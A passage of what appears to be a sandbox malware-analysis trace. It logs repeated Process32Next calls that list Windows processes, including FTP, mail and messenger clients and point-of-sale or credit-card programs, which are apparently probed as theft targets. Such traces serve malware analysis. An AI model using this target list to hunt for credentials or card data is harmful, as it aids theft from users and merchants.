szExeFile="svchost.exe")) returned 1 [0255.509] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.512] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.513] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.552] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.554] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.556] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.558] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0255.559] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0255.561] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0255.563] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.565] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0255.567] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0255.568] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0255.570] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0255.572] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0255.574] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0255.576] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0255.578] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.582] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0255.584] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0255.586] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0255.588] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.590] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0255.591] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0255.593] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0255.595] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0255.597] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0255.598] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0255.600] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0255.602] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0255.604] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0255.605] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0255.607] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0255.609] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0255.611] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0255.612] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0255.614] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0255.616] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0255.619] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0255.620] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0255.622] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0255.624] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0255.627] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0255.629] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0255.630] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0255.632] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0255.636] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0255.639] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0255.641] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0255.645] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0255.647] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0255.649] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0255.652] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0255.654] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0255.661] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0255.699] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0255.703] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0255.706] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0255.709] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0255.712] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0255.715] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0255.718] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0255.721] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0255.724] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0255.727] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0255.732] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0255.735] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0255.738] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0255.741] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0255.744] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0255.747] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0255.750] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0255.753] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0255.756] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0255.759] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0255.761] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0255.765] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0255.767] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0255.770] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0255.773] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0255.779] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0255.781] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0255.784] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0255.787] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, 